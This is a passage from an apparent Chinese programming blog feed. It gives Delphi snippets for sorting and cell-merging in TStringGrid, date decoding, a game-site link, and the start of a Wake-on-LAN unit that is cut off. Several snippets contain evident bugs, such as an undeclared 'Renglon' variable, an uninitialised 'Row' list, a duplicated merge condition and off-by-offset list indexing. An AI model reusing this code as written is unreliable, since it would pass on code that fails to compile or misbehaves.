<P>//实现排序操作<BR>&nbsp;Procedure GridSort(StrGrid: TStringGrid; NoColumn: Integer);<BR>&nbsp;Var Line, PosActual: Integer;<BR>&nbsp;&nbsp;&nbsp;&nbsp; Row: TStrings;<BR>&nbsp;begin<BR>&nbsp;&nbsp; Renglon := TStringList.Create;<BR>&nbsp;&nbsp; For Line := 1 to StrGrid.RowCount-1 do<BR>&nbsp;&nbsp; Begin<BR>&nbsp;&nbsp;&nbsp;&nbsp; PosActual := Line;<BR>&nbsp;&nbsp;&nbsp;&nbsp; Row.Assign(TStringlist(StrGrid.Rows[PosActual]));<BR>&nbsp;&nbsp;&nbsp;&nbsp; While True do<BR>&nbsp;&nbsp;&nbsp;&nbsp; Begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If (PosActual = 0) Or (StrToInt(Row.Strings[NoColumn-1]) &gt;= StrToInt(StrGrid.Cells[NoColumn-1,PosActual-1])) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StrGrid.Rows[PosActual] := StrGrid.Rows[PosActual-1];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dec(PosActual);<BR>&nbsp;&nbsp;&nbsp;&nbsp; End;<BR>&nbsp;&nbsp;&nbsp;&nbsp; If StrToInt(Row.Strings[NoColumn-1]) &lt; StrToInt(StrGrid.Cells[NoColumn-1,PosActual]) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StrGrid.Rows[PosActual] := Row;<BR>&nbsp;&nbsp; End;<BR>&nbsp;&nbsp; Renglon.Free;<BR>&nbsp;end;<BR>(3) TstringGrid 的行列合并研究<BR>unit Unit1;</P>
<P>//建立一工程，<BR>//粘贴本单元代码即可看 STringGrid 行列合并效果<BR>//但发现非固定行非固定列的合并效果不好<BR>interface</P>
<P>uses<BR>Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<BR>StdCtrls, Db, ADODB, DBTables, Grids;//注意这里要引用</P>
<P>type<BR>TForm1 = class(TForm)<BR>&nbsp;procedure FormCreate(Sender: TObject);<BR>&nbsp;procedure SGDrawCell(Sender: TObject; ACol, ARow: Integer;<BR>&nbsp;&nbsp; Rect: TRect; State: TGridDrawState);<BR>&nbsp;procedure SGTopLeftChanged(Sender: TObject);<BR>private<BR>&nbsp;{ Private declarations }<BR>public<BR>&nbsp;{ Public declarations }<BR>end;</P>
<P>var<BR>Form1: TForm1;</P>
<P>implementation</P>
<P>{$R *.DFM}</P>
<P>// 以下 StringGrid 为固定行，固定列的合并所必须进行的处理<BR>// 非固定行，非固定列的合并效果不好<BR>var<BR>sg:TStringGrid;<BR>procedure TForm1.FormCreate(Sender: TObject);<BR>var<BR>i,j:integer ;<BR>begin<BR>Sg:=TStringGrid.Create(self);</P>
<P>with SG do<BR>begin<BR>&nbsp;parent:=self;<BR>&nbsp;align:=alclient;<BR>&nbsp;DefaultDrawing:=false;<BR>&nbsp;FixedColor:=clYellow;<BR>&nbsp;RowCount:=30;<BR>&nbsp;ColCount:=20;<BR>&nbsp;FixedCols:=1;<BR>&nbsp;FixedRows:=1;<BR>&nbsp;GridLineWidth:=0;<BR>&nbsp;Options:=Options+[goEditing]-[goVertLine,goHorzLine,goRangeSelect];<BR>&nbsp;OnDrawCell:=SGDrawCell;<BR>&nbsp;OnTopLeftChanged:=SGTopLeftChanged;<BR>&nbsp;Canvas.Font.name:='宋体';<BR>&nbsp;Canvas.Font.Size:=10;</P>
<P>&nbsp;for i:=0 to colCount-1 do<BR>&nbsp;for j:=0 to RowCount-1 do<BR>&nbsp;&nbsp; cells[i,j]:=Format('%d行%d列',[j,i]);</P>
<P>&nbsp;for i:=0 to colCount-1 do<BR>&nbsp;&nbsp; cells[i,0]:=Format('第%d列',[i]);<BR>&nbsp;for i:=0 to RowCount-1 do<BR>&nbsp;&nbsp; cells[0,i]:=Format('第%d行',[i]);</P>
<P>&nbsp;Cells[0,0]:='&nbsp;&nbsp; 左上角';<BR>&nbsp;Cells[1,0]:='AA这是列合并BB';<BR>&nbsp;Cells[0,1]:='A这是行'#10'合并BB';<BR>&nbsp;Cells[1,1]:='1111111';<BR>&nbsp;Cells[1,2]:='1111222';<BR>&nbsp;Cells[2,1]:='2222111';<BR>&nbsp;Cells[2,2]:='2222222';<BR>end;<BR>end;</P>
<P>//重载 OnDrawCell 事件<BR>procedure TForm1.SGDrawCell(Sender: TObject; ACol, ARow: Integer;<BR>Rect: TRect; State: TGridDrawState);<BR>var<BR>r:TRect;<BR>d:TStringGrid;<BR>s:string;<BR>ts:TStrings;<BR>i,n:integer;<BR>fixed:Boolean;<BR>begin<BR>d:=TStringGrid(sender);<BR>if (Acol=2) and (ARow=0) then<BR>begin<BR>&nbsp;r.left:=Rect.left-1-d.colwidths[ACol-1];<BR>&nbsp;r.top:=rect.top-1;<BR>&nbsp;r.right:=rect.right;<BR>&nbsp;r.bottom:=rect.bottom;<BR>&nbsp;s:=d.cells[ACol-1,ARow];<BR>end else<BR>if (Acol=1) and (ARow=0) then<BR>begin<BR>&nbsp;r.left:=Rect.left-1;<BR>&nbsp;r.top:=rect.top-1;<BR>&nbsp;r.right:=rect.right+d.colwidths[ACol+1];<BR>&nbsp;r.bottom:=rect.bottom;<BR>&nbsp;s:=d.cells[ACol,ARow];<BR>end&nbsp;&nbsp; //////////以上列合并<BR>else<BR>if (Acol=0) and (ARow=2) then<BR>begin<BR>&nbsp;r.left:=Rect.left-1;<BR>&nbsp;r.top:=rect.top-1-d.RowHeights[ARow-1];<BR>&nbsp;r.right:=rect.right;<BR>&nbsp;r.bottom:=rect.bottom;<BR>&nbsp;s:=d.cells[ACol,ARow-1];<BR>end else<BR>if (Acol=1) and (ARow=0) then<BR>begin<BR>&nbsp;r.left:=Rect.left-1;<BR>&nbsp;r.top:=rect.top-1;<BR>&nbsp;r.right:=rect.right;<BR>&nbsp;r.bottom:=rect.bottom+d.RowHeights[ARow+1];<BR>&nbsp;s:=d.cells[ACol,ARow];<BR>end&nbsp; ////////以上为行合并<BR>else<BR>begin<BR>&nbsp;r.left:=Rect.left-1;<BR>&nbsp;r.top:=rect.top-1;<BR>&nbsp;r.right:=rect.right;<BR>&nbsp;r.bottom:=rect.bottom;<BR>&nbsp;s:=d.cells[ACol,ARow];<BR>end;</P>
<P>d.Canvas.brush.color:=d.color;<BR>d.canvas.Font.color:=$ff0000;</P>
<P>Fixed:=false;<BR>if (Arow&lt;d.FixedRows) or (ACol&lt;d.Fixedcols) then<BR>begin<BR>&nbsp;d.Canvas.brush.color:=d.FixedColor;<BR>&nbsp;d.Canvas.Font.color:=$ff00ff;<BR>&nbsp;Fixed:=True;<BR>&nbsp;//d.Canvas.Font.style:=d.Canvas.Font.style+[fsBold];<BR>end;<BR>if gdfocused in state then<BR>begin<BR>&nbsp;d.canvas.Brush.color:=$00ff00;<BR>end;<BR>if fixed then<BR>begin<BR>&nbsp;d.Canvas.Pen.color:=$0;<BR>&nbsp;d.canvas.Rectangle(r);</P>
<P>&nbsp;d.Canvas.Pen.color:=$f0f0f0;<BR>&nbsp;d.Canvas.Pen.Width:=2;<BR>&nbsp;d.canvas.Moveto(r.left+1,r.top+2);<BR>&nbsp;d.canvas.Lineto(r.left+r.right,r.top+2);</P>
<P>&nbsp;d.Canvas.Pen.color:=$808080;<BR>&nbsp;d.Canvas.Pen.Width:=1;<BR>&nbsp;d.canvas.Moveto(r.Left+1,r.bottom-1);<BR>&nbsp;d.canvas.Lineto(r.left+r.right,r.bottom-1);</P>
<P>end else<BR>begin<BR>&nbsp;d.Canvas.Pen.color:=$0;<BR>&nbsp;d.Canvas.Pen.Width:=1;<BR>&nbsp;d.canvas.Rectangle(r);<BR>end;<BR>n:=r.top+4;<BR>ts:=TStringList.Create;<BR>ts.CommaText:=s;<BR>for i:=0 to ts.Count-1 do<BR>begin<BR>&nbsp;d.canvas.Textout(r.left+4,n,ts[i]);<BR>&nbsp;inc(n,d.RowHeights[ARow]);<BR>end;<BR>end;</P>
<P>//重载 OnTopLeftChange事件,特别是行的合并<BR>procedure TForm1.SGTopLeftChanged(Sender: TObject);<BR>var<BR>d:TStringGrid;<BR>begin<BR>d:=TStringGrid(Sender);<BR>d.Cells[0,1]:=d.Cells[0,1];<BR>d.Cells[0,2]:=d.Cells[0,2];<BR>end;</P>
<P>end.&nbsp; <BR><FONT size=4><STRONG>(4)让stringgrid点列头进行排序procedure GridQuickSort(Grid: TStringGrid; ACol: Integer; Order: Boolean ; NumOrStr: Boolean);<BR></STRONG></FONT>(******************************************************************************)<BR>(*&nbsp; 函数名称：GridQuickSort&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp; 函数功能：给 StringGrid 的 ACol 列快速法排序&nbsp;&nbsp;&nbsp; _/_/&nbsp;&nbsp;&nbsp;&nbsp; _/_/&nbsp; _/_/_/_/_/ *)<BR>(*&nbsp; 参数说明:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Order: True 从小到大&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : False 从大到小&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NumOrStr : true 值的类型是Integer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/_/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/_/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : False 值的类型是String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp; 函数说明：对于日期，时间等类型数据均可按字符方式排序，&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)(******************************************************************************)<BR>procedure MoveStringGridData(Grid: TStringGrid; Sou,Des :Integer );<BR>var<BR>&nbsp; TmpStrList: TStringList ;<BR>&nbsp; K : Integer ;<BR>begin<BR>&nbsp; try<BR>&nbsp;&nbsp;&nbsp; TmpStrList :=TStringList.Create() ;<BR>&nbsp;&nbsp;&nbsp; TmpStrList.Clear ;<BR>&nbsp;&nbsp;&nbsp; for K := Grid.FixedCols to Grid.ColCount -1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TmpStrList.Add(Grid.Cells[K,Sou]) ;<BR>&nbsp;&nbsp;&nbsp; Grid.Rows [Sou] := Grid.Rows [Des] ;<BR>&nbsp;&nbsp;&nbsp; for K := Grid.FixedCols to Grid.ColCount -1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Grid.Cells [K,Des]:= TmpStrList.Strings[K] ;<BR>&nbsp; finally<BR>&nbsp;&nbsp;&nbsp; TmpStrList.Free ;<BR>&nbsp; end;<BR>end;</P>
<P>procedure QuickSort(Grid: TStringGrid; iLo, iHi: Integer);<BR>var<BR>&nbsp; Lo, Hi : Integer;<BR>&nbsp; Mid: String ;<BR>begin<BR>&nbsp; Lo := iLo ;<BR>&nbsp; Hi := iHi ;<BR>&nbsp; Mid := Grid.Cells[ACol,(Lo + Hi) div 2];<BR>&nbsp; repeat<BR>&nbsp;&nbsp;&nbsp; if Order and not NumOrStr then //按正序、字符排<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while Grid.Cells[ACol,Lo] &lt; Mid do Inc(Lo);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while Grid.Cells[ACol,Hi] &gt; Mid do Dec(Hi);<BR>&nbsp;&nbsp;&nbsp; end ;<BR>&nbsp;&nbsp;&nbsp; if not Order and not NumOrStr then //按反序、字符排<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while Grid.Cells[ACol,Lo] &gt; Mid do Inc(Lo);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while Grid.Cells[ACol,Hi] &lt; Mid do Dec(Hi);<BR>&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp; if NumOrStr then<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Grid.Cells[ACol,Lo] = '' then Grid.Cells[ACol,Lo] := '0' ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Grid.Cells[ACol,Hi] = '' then Grid.Cells[ACol,Hi] := '0' ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Mid = '' then Mid := '0' ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Order then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin //按正序、数字排<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while StrToFloat(Grid.Cells[ACol,Lo]) &lt; StrToFloat(Mid) do Inc(Lo);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while StrToFloat(Grid.Cells[ACol,Hi]) &gt; StrToFloat(Mid) do Dec(Hi);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin //按反序、数字排<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while StrToFloat(Grid.Cells[ACol,Lo]) &gt; StrToFloat(Mid) do Inc(Lo);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while StrToFloat(Grid.Cells[ACol,Hi]) &lt; StrToFloat(Mid) do Dec(Hi);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end ;<BR>&nbsp;&nbsp;&nbsp; if Lo &lt;= Hi then<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MoveStringGridData(Grid, Lo, Hi) ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inc(Lo);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dec(Hi);<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; until Lo &gt; Hi;<BR>&nbsp; if Hi &gt; iLo then QuickSort(Grid, iLo, Hi);<BR>&nbsp; if Lo &lt; iHi then QuickSort(Grid, Lo, iHi);<BR>end;</P>
<P>begin<BR>try<BR>&nbsp; QuickSort(Grid, Grid.FixedRows, Grid.RowCount - 1 ) ;<BR>except<BR>on E: Exception do<BR>&nbsp; Application.MessageBox(Pchar('系统在排序数据的时候遇到异常:'#13+E.message+#13'请重试，如果该问题依然存在请与程序供应商联系！'),'系统错误',MB_OK+MB_ICONERROR) ;<BR>end;<BR>end;</P>
<P>procedure StringGridTitleDown(Sender: TObject;<BR>Button: TMouseButton;&nbsp; X, Y: Integer);<BR>(******************************************************************************)<BR>(*&nbsp; 函数名称：StringGridTitleDown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp; 函数功能：取鼠标点StringGrid 的列&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/_/&nbsp;&nbsp;&nbsp;&nbsp; _/_/&nbsp; _/_/_/_/_/ *)<BR>(*&nbsp; 参数说明:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sender&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *)<BR>(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;(******************************************************************************)<BR>var<BR>I: Integer ;<BR>begin<BR>if (Y &gt; 0 ) and (y &lt; TStringGrid(Sender).DefaultRowHeight * TStringGrid(Sender).FixedRows ) then<BR>begin<BR>&nbsp; if&nbsp; Button = mbLeft then<BR>&nbsp; begin<BR>&nbsp;&nbsp;&nbsp; I := X div&nbsp; TStringGrid(Sender).DefaultColWidth ;<BR>&nbsp;&nbsp;&nbsp; //这个i 就是要排序得行了<BR>&nbsp;&nbsp;&nbsp; // 下面调用上面的排序函数就可以了，<BR>&nbsp;&nbsp;&nbsp; GridQuickSort(TStringGrid(Sender), I, False, True) ;<BR>&nbsp; end;<BR>end;<BR>end;</P>
<P>&nbsp;&nbsp; 用上面的两个函数就能解决你的问题了。在TStringGrid 的MouseDown事件中调用StringGridTitleDown 函数就可以。你可能要修改一下StringGridTitleDown函数来修改排序得方式及其字符类型。<BR>&nbsp;&nbsp; 提醒你一下对于日期、时间、布尔等类型数据均可按字符方式排序。<BR>例如：</P>
<P>procedure TForm_Main.StringGrid1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);<BR>begin<BR>StringGridTitleDown(Sender,Button,X,Y);<BR>end;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=210" /> 
	  <id>http://www.openx.cn/default.asp?id=210</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[delphi 函数小记]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-15T10:49:51+08:00</updated>
	  <published>2006-02-15T10:49:51+08:00</published>
		  <summary type="html"><![CDATA[<P>DecodeDate </P>
<P>DecodeTime </P>
<P>&nbsp;</P>
<P>用来分解TDateTime的函数</P>
<P>用法</P>
<P>var</P>
<P>&nbsp;Present: &nbsp; TDateTime;<BR>&nbsp;Year, &nbsp; Month, &nbsp; Day, &nbsp; Hour, &nbsp; Min, &nbsp; Sec, &nbsp; MSec: &nbsp; Word;</P>
<P>begin</P>
<P>&nbsp;&nbsp;&nbsp; Present:= &nbsp; Now;<BR>&nbsp; &nbsp; DecodeDate(Present, &nbsp; Year, &nbsp; Month, &nbsp; Day);<BR>&nbsp;&nbsp;&nbsp; DecodeTime(Present, &nbsp; Hour, &nbsp; Min, &nbsp; Sec, &nbsp; MSec);</P>
<P>end;</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=215" /> 
	  <id>http://www.openx.cn/default.asp?id=215</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现一Flash游戏网站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-02-14T12:10:30+08:00</updated>
	  <published>2006-02-14T12:10:30+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://www.qkgame.com/official/machi/en/images/03.gif[/img]</P>
<P><A href="http://www.qkgame.com/official/machi/en/intro.php">http://www.qkgame.com/official/machi/en/intro.php</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=212" /> 
	  <id>http://www.openx.cn/default.asp?id=212</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[远程唤醒]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-13T10:09:02+08:00</updated>
	  <published>2006-02-13T10:09:02+08:00</published>
		  <summary type="html"><![CDATA[unit&nbsp;WakeUp;<BR><BR>interface<BR><BR>uses<BR>&nbsp;&nbsp;Windows,&nbsp;Messages,&nbsp;SysUtils,&nbsp;Variants,&nbsp;Classes,&nbsp;Graphics,&nbsp;Controls,&nbsp;Forms,&nbsp;WinSock,<BR>&nbsp;&nbsp;StdCtrls,Dialogs;<BR><BR>type<BR>&nbsp;&nbsp;TForm1&nbsp;=&nbsp;class(TForm)<BR>&nbsp;&nbsp;&nbsp;&nbsp;Button1:&nbsp;TButton;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Edit1:&nbsp;TEdit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Label1:&nbsp;TLabel;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;private<BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Private&nbsp;declarations&nbsp;}<BR>&nbsp;&nbsp;public<BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Public&nbsp;declarations&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;CheckWinSockResult(ResultCode:&nbsp;Integer;&nbsp;const&nbsp;FuncName:&nbsp;string):&nbsp;Integer;<BR>&nbsp;&nbsp;end;<BR><BR>&nbsp;const&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEN_PHYSADDR&nbsp;=&nbsp;6;<BR><BR>var<BR>&nbsp;&nbsp;Form1:&nbsp;TForm1;<BR><BR>implementation<BR><BR>{$R&nbsp;*.dfm}<BR><BR>{&nbsp;TForm1&nbsp;}<BR><BR>function&nbsp;TForm1.CheckWinSockResult(ResultCode:&nbsp;Integer;<BR>&nbsp;&nbsp;const&nbsp;FuncName:&nbsp;string):&nbsp;Integer;<BR>begin<BR>&nbsp;&nbsp;if&nbsp;ResultCode&nbsp;&lt;&gt;&nbsp;0&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;<BR>&nbsp;&nbsp;&nbsp;